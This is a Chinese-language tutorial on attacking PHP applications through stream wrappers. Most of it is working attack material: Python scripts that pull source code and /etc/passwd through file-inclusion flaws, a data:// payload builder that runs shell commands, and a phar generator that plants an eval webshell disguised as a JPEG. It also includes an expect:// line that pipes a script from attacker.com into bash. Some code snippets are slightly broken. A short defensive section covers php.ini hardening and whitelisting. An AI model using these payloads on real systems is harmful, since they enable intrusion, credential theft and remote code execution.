一、PHP 支持哪些协议

PHP 的 fopen()include()file_get_contents() 等函数不只是支持文件系统路径,还支持一批内置 Wrapper(也叫"伪协议"):

协议 用途 默认启用
file:// 本地文件(默认)
http:// / https:// HTTP/HTTPS 请求
ftp:// FTP
php:// PHP 运行时流
data:// 内联数据
glob:// 通配符文件查找
phar:// PHP 归档
expect:// 执行命令(需扩展)
sql:// SQL 查询(PDO)
ldap:// LDAP 查询
dict:// / gopher:// 原始协议(需 cURL)

安全的 Wrapper 配置(php.ini):

ini allow_url_fopen = On allow_url_include = Off ; 关键!禁止远程文件包含 disable_functions = show_source,highlight_file,assert,system,passthru,exec,shell_exec,popen,proc_open,pcntl_exec open_basedir = /var/www/html ; 限制访问路径

二、php:// 协议家族

2.1 php://filter(最常用)

这是 LFI / SSRF 场景下最有价值 的 Wrapper,可以在包含文件时对其做 编码过滤

读取文件源码(绕过后缀追加和 PHP 执行)

``

常规 LFI 读 config.php:会被 PHP 解析,返回空

?page=config.php

php://filter 读 config.php:先 base64 编码再"包含"

→ 返回 base64 字符串,不是空

?page=php://filter/convert.base64-encode/resource=config.php
``

实战代码

# php_filter.py - 读取 PHP 文件源码
import requests, base64

LFI = "http://target.com/index.php?page="

def read_source(filename):
    # base64 模式
    url = f"{LFI}php://filter/convert.base64-encode/resource={filename}"
    r = requests.get(url, timeout=5)
    # 去掉可能的 PHP warning
    import re
    m = re.findall(r'[A-Za-z0-9+/]{40,}={0,2}', r.text)
    if m:
        for b64 in m:
            try:
                return base64.b64decode(b64).decode('utf-8', errors='ignore')
            except:
                pass

def read_rot13(filename):
    # rot13 模式(也是 PHP 默认支持的)
    url = f"{LFI}php://filter/string.rot13/resource={filename}"
    r = requests.get(url, timeout=5)
    # rot13 可以解开 <?php ... ?> 标签,里面的内容不变
    # 浏览器渲染不出 <?php,但能看到纯文本
    import codecs
    return codecs.decode(r.text, 'rot_13')

# 尝试读取关键配置
TARGETS = [
    "../config.php",
    "../config/db.php",
    "../include/config.inc.php",
    "/etc/passwd",
]

for t in TARGETS:
    src = read_source(t)
    if src:
        print(f"
[+] {t}")
        print(src[:800])
    else:
        print(f"[-] {t}")

多重过滤器组合

``

先 base64 解码再编码(多过滤链)

?page=php://filter/convert.base64-decode|convert.base64-encode/resource=config.php

先去掉 <?php 标签(string.strip_tags)再编码

?page=php://filter/string.strip_tags|convert.base64-encode/resource=config.php
``

2.2 php://input

把 POST 请求体当作输入流。

``

需要 allow_url_include=On

?page=php://input

POST body 写

``

如果 allow_url_include=Off,php://input 只能配合 file_get_contents() 读,不能 include

2.3 php://output

把输出流当作文件写入。某些场景可以用它把内容写到浏览器输出流。

2.4 php://memory / php://temp

内存临时流。配合 file_put_contents() 可以在 PHP 进程里动态创建内容。

2.5 php://stdin / php://stdout / php://stderr

标准输入输出。配合 proc_open() 之类的函数能做命令注入。

三、data:// 协议

内联数据。相当于把一段 base64 字符串当作 PHP 代码执行。

3.1 格式

``
data://mime_type;base64,payload

data://mime_type,payload
``

3.2 绕过 RFI

``

需要 allow_url_include=On

?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==

base64 解码后 =

``

# data_payload.py
import base64

def build_data_url(php_code):
    raw = php_code.encode()
    b64 = base64.b64encode(raw).decode()
    return f"data://text/plain;base64,{b64}"

# 构造一个 data:// payload
php_code = """<?php
echo "--- PWNED ---
";
echo shell_exec('id');
echo file_get_contents('/etc/passwd');
?>"""

url = build_data_url(php_code)
print(f"Payload: {url}")
print(f"Length:  {len(url)}")

data:// 的优势是不依赖外网(不像 RFI 要从 attacker.com 拉文件),但仍需要 allow_url_include=On

四、glob:// 协议

通配符文件查找。这是绕过扩展名过滤的一个利器!

4.1 基础用法

``
glob:///*/etc/passwd

找出 /tmp 目录下所有 sess_ 开头的文件

glob:///tmp/sess_*

遍历找出 config.php

glob:///**/config.php
``

4.2 利用 glob:// 找 Session 文件

``

某些场景下 glob 能枚举 /tmp 下的 session 文件

然后直接 include 它

?page=glob:///tmp/sess_*
``

4.3 glob:// 自动脚本

# glob_bypass.py
import requests

LFI = "http://target.com/index.php?page="

GLOB_TARGETS = [
    "glob:///tmp/sess_*",
    "glob:///var/lib/php/sessions/sess_*",
    "glob:///**/config.php",
    "glob:///**/config.inc.php",
    "glob:///**/settings.php",
]

for g in GLOB_TARGETS:
    url = f"{LFI}{g}"
    r = requests.get(url, timeout=5)
    if len(r.text) > 5:
        print(f"[+] {g}")
        print(r.text[:500])
    else:
        print(f"[-] {g}")

五、phar:// 协议

PHP 归档文件,常用于反序列化攻击。

5.1 什么是 phar

phar 格式是把多个文件打包成一个 PHP 可直接处理的归档。关键特性是它可以用 phar:// 当作目录来访问:

php <?php include('phar://./archive.phar/shell.php'); // 直接把 phar 包里的某个文件当作代码执行 ?>

5.2 phar + 文件操作 = 反序列化

任何触发文件操作的函数(如 file_exists()is_dir()getimagesize()include()fopen()),在 PHP 5.x 会自动反序列化 phar 包的 metadata!

这就是著名的 phar 反序列化漏洞

攻击代码

``php
<?php
// 假设 vuln.php 有文件包含点
class Evil {} // 自定义类,存在 __wakeup / __destruct

$obj = new Evil();
$phar = new Phar('evil.phar');
$phar->startBuffering();
$phar->addFromString('shell.txt', '');
$phar->setMetadata($obj); // 关键:把序列化对象塞进 phar
$phar->stopBuffering();

// phar:// 访问时,metadata 会被自动 unserialize()
// 触发 __wakeup -> __destruct 形成 POP 链
?>
``

5.3 生成恶意 phar 的完整脚本

<?php
// gen_phar.php - 生成恶意 phar 包
// 目标:利用 ThinkPHP / YII / Laravel 的 POP 链 RCE

// 示例 POP 链:ThinkPHP 5.x
namespace think {
    class Process {
        public $files = [];
        public function __destruct() {
            foreach ($this->files as $f) {
                file_put_contents($f['name'], $f['content']);
            }
        }
    }
}

namespace {
    $obj = new thinkProcess();
    $obj->files = [
        ['name' => '/var/www/html/shell.php', 'content' => '<?php eval($_POST["c"]); ?>']
    ];

    $phar = new Phar('evil.phar');
    $phar->startBuffering();
    $phar->addFromString('phar', 'test');
    $phar->setStub('<?php __HALT_COMPILER(); ? >');
    $phar->setMetadata($obj);
    $phar->stopBuffering();

    // 伪装成 jpg(绕过扩展名检查)
    rename('evil.phar', 'evil.jpg');
    echo "恶意 phar 已生成: evil.jpg
";
    echo "通过 LFI 包含 phar://evil.jpg 触发反序列化
";
}
?>
``

### 5.4 配合 LFI 触发

``
# 假设上传了 evil.jpg,然后用 LFI 包含
?page=phar://./uploads/evil.jpg
# 访问 phar://evil.jpg/任意文件 也能触发 metadata 反序列化
?page=phar://./uploads/evil.jpg/something
``

#### 能触发 phar metadata 反序列化的函数清单

``
include / require / file_get_contents / file_exists / is_readable / is_dir / fopen / copy / unlink / file_put_contents / stat / filesize / getimagesize / mime_content_type / exif_read_data / md5_file / sha1_file / fileinode / finfo_file / imagecreatefromgif / imagecreatefromjpeg / imagecreatefrompng / simplexml_load_file / ...
``

**结论**:只要目标有一个文件操作函数接收用户可控参数,就能打 phar 反序列化。

### 5.5 phar 绕过 open_basedir

``php
<?php
// phar:// 绕过 open_basedir 的经典技巧
// 先创建一个 phar 包含 symlink
$phar = new Phar('bypass.phar');
$phar->addFromString('link', '');
// ... 利用 symlink 或 glob 绕过 open_basedir

// 另一种:配合 auto_prepend_file
putenv('PHAR_TEST');
?>
``

## 六、expect:// 协议

需要安装 `expect` 扩展(非默认)。可以让服务器直接执行命令:

``
?page=expect://id
?page=expect://bash%20-c%20"curl%20attacker.com/shell.sh|bash"
``

这个协议现在极少被用到(expect 扩展基本没人装了),但如果装了,就等于给 LFI 装了一个直接 RCE 的后门。

## 七、Wrapper 组合拳实战

### 7.1 SSRF + php://filter 读取内网 PHP 源码

``
# SSRF 到内网某台机器的 php 文件
?url=php://filter/convert.base64-encode/resource=file:///etc/passwd
# 或者
?url=gopher://inner-host:80/_GET%20/config.php%20HTTP/1.1%0d%0aHost:%20inner-host%0d%0a%0d%0a
``

### 7.2 LFI + phar:// = 反序列化 RCE

``
# 完整攻击链
[1] 生成恶意 phar.jpg
[2] 上传(用文件上传绕过)
[3] LFI 触发:?page=phar://./uploads/phar.jpg
[4] metadata 被反序列化 -> POP 链执行 -> 写 WebShell
``

### 7.3 文件包含 + data:// = 即时 RCE

``
# 某些 allow_url_include=On 的老环境
?page=data://text/plain;base64,PD9waHAgcGFzc3RocnUocG9zdC9nZXQoJ2MnKSk7ID8+
# 配合 POST data c=phpinfo();
``

### 7.4 利用 glob:// 绕过正则过滤

``
# 假设防护对 page 参数做了正则:^[a-zA-Z0-9_-]+$
# glob:// 协议格式是 glob://path
# glob:///tmp/sess_* 符合 ^[a-zA-Z0-9:_/.*-]+$ 之类宽松正则
``

## 八、防御:彻底干掉危险 Wrapper

### 8.1 php.ini 配置

``ini
; ========= 最关键的几行 =========
allow_url_fopen   = Off
allow_url_include = Off
disable_functions  = show_source,highlight_file,assert,system,passthru,exec,shell_exec,popen,proc_open,pcntl_exec,dl,curl_exec,curl_multi_exec,parse_ini_file,show_source
open_basedir      = /var/www/html:/tmp:/var/www/data
; phar:// 无法单独禁用,但配合上面的就够了

; 禁用 expect 扩展
; 在 php.ini 注释掉 extension=expect.so
``

### 8.2 运行时禁用 Wrapper

``php
<?php
// 动态移除危险 Wrapper
stream_wrapper_unregister('data');
stream_wrapper_unregister('http');
stream_wrapper_unregister('https');
stream_wrapper_unregister('ftp');
stream_wrapper_unregister('ftps');
stream_wrapper_unregister('php');
stream_wrapper_unregister('glob');
stream_wrapper_unregister('phar');
// 注意:php://filter 也被禁了
?>
``

### 8.3 代码层白名单

``php
<?php
// 不要 include 任意路径,白名单 + realpath
$page = $_GET['page'] ?? 'home';
$allowed = ['home', 'about', 'contact'];
if (!in_array($page, $allowed)) die('非法参数');

$target = realpath(__DIR__ . "/pages/$page.php");
if (!$target || strpos($target, __DIR__ . '/pages') !== 0) die('非法路径');
include $target;
?>
``

## 九、各 Wrapper 攻击能力总结

| 协议 | 读文件 | 执行代码 | 绕过 open_basedir | 需前置 | 危险等级 |
|------|--------|---------|-------------------|--------|---------|
| php://filter | ✓(base64/rot13) | ✗ | ✗ | 有文件包含 | ★★★★ |
| php://input | ✗ | ✓ | ✗ | allow_url_include | ★★★★★ |
| data:// | ✗ | ✓ | ✗ | allow_url_include | ★★★★ |
| glob:// | ✗ | ✗ | ✗ | 无 | ★★ |
| phar:// | ✗(触发反序列化) | 可 | ✓ | 上传恶意 phar | ★★★★★ |
| expect:// | ✗ | ✓ | ✗ | 装 expect 扩展 | ★★★★ |
| file:// | ✓(本地) | ✗ | ✗ | 有文件包含 | ★★★ |
| http:// | ✓(远程) | ✗ | ✗ | allow_url_fopen | ★★ |

### 结论

**php://filter** 是 LFI 场景下最通用的武器(读任意文件源码),**phar://** 是反序列化场景下最爆炸的武器(RCE),**data://** 是 allow_url_include=On 时的秒杀武器。